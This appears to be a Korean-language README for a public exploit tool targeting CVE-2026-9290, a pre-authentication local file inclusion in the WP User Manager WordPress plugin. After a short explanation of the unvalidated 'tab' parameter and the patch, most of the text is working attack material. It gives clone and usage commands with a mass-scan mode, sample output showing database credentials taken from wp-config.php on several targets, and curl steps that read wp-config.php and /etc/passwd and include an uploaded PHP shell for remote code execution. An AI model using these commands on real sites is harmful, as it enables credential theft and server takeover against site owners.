
WP User Manager <= 2.9.17에서 tab 매개변수의 경로 탐색을 통한 인증 전 로컬 파일 포함 (CVSS 7.5)
CVE-2026-9290는 WP User Manager – User Profile Builder & Membership WordPress 플러그인 (≤ 2.9.17)에서 발견된 높은 심각도(CVSS 7.5)의 인증되지 않은 로컬 파일 포함 취약점입니다.
wpum_get_active_profile_tab() 함수는 tab 쿼리 매개변수를 화이트리스트 검증 없이 Gamajo 템플릿 로더에 직접 전달합니다. tab 값에 포함된 경로 탐색 시퀀스는 인증되지 않은 공격자가 PHP의 include()를 통해 서버에서 임의의 파일을 포함할 수 있게 합니다.
| WP User Manager 버전 | 상태 |
|---|---|
| ≤ 2.9.17 | 취약 |
| ≥ 2.9.18 | 패치됨 |
includes/functions.php에서 wpum_get_active_profile_tab() 함수는 화이트리스트 검증 없이 tab 쿼리 매개변수를 가져옵니다:
// 취약: $tab 값에 대한 화이트리스트 검사 없음
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);
이 값은 템플릿 파일을 확인하고 포함하는 Gamajo_Template_Loader::get_template_part()에 전달됩니다:
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');
sanitize_text_field()는 경로 탐색 시퀀스를 제거하지 않습니다. ../../../wp-config가 통과합니다.
GET /profile/?tab=../../../wp-config
→ wpum_get_active_profile_tab('../../../wp-config')
→ Gamajo_Template_Loader::include('../../../wp-config.php')
→ wp-config.php included → DB credentials exposed
PR #445에서 화이트리스트 검증 추가:
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
$tab = 'profile'; // fallback to default
}
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt
# 단일 대상 — LFI 프로브
python cve_2026_9290.py -t target.com
# 대량 스캔
python cve_2026_9290.py -f targets.txt -v
# LFI를 통해 특정 파일 읽기
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"
# 결과 저장
python cve_2026_9290.py -f targets.txt -o lfi.txt
-t, --target 단일 대상 (도메인 또는 IP)
-f, --file 대상 목록, 한 줄에 하나씩
--read PATH LFI로 특정 파일 읽기
-o, --output 결과를 파일에 저장
--threads 작업자 수 (기본값: 25)
-v, --verbose 자세한 출력 보기
$ python cve_2026_9290.py -t target.com -v
CVE-2026-9290 — WP User Manager LFI → RCE Exploit
CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter
[+] WP User Manager detected
[+] Profile page: /profile/
[+] LFI confirmed: wp-config.php (DB credentials)
[+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');
Host : target.com
WPUM : YES
LFI : YES
File : wp-config.php (DB credentials)
Time : 3.2s
[LFI] target-1.com 3.2s wp-config.php (DB credentials)
define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
[LFI] target-2.com 4.1s wp-config.php (DB credentials)
define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
[200/5458] 3% | WPUM:12 LFI:5 | current-target.com
1단계 — WP User Manager 탐지
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3
2단계 — 프로필 페이지 찾기
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'
3단계 — tab 매개변수를 통한 LFI
# wp-config.php 읽기
curl -sk 'https://target.com/profile/?tab=../../../wp-config'
# /etc/passwd 읽기
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'
# RCE — 업로드된 PHP 쉘 포함
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'
교육 및 승인된 테스트 목적으로만 사용하세요.
이 소프트웨어는 승인된 침투 테스트를 수행하는 보안 전문가, 자체 인프라를 감사하는 조직, 취약점 악용을 연구하는 연구자를 대상으로 합니다.
컴퓨터 시스템에 대한 무단 접근은 불법이며 다음을 위반할 수 있습니다:
- 미국: 컴퓨터 사기 및 남용 법 (18 U.S.C. 1030)
- 인도네시아: UU ITE Pasal 30 & 46
- 유럽 연합: 지침 2013/40/EU
- 영국: 컴퓨터 남용 법 1990
저자는 오용에 대한 책임을 지지 않습니다.
| 자원 | 링크 |
|---|
이 프로젝트는 WP User Manager 또는 Carbon Fields와 관련이 없습니다.
| 파일 | 라인 | 역할 |
|---|
includes/functions.php | #L955 | wpum_get_active_profile_tab() — 화이트리스트 없음 |
templates/profile.php | #L52 | 프로필 템플릿 범위 |
class-gamajo-template-loader.php | #L226 | 검증되지 않은 include() |
| GitHub 권고 | GHSA-83v9-496w-54wx |
| Wordfence 권고 | wordfence.com |
| 패치 PR | GitHub #445 |
| IONIX 분석 | ionix.io |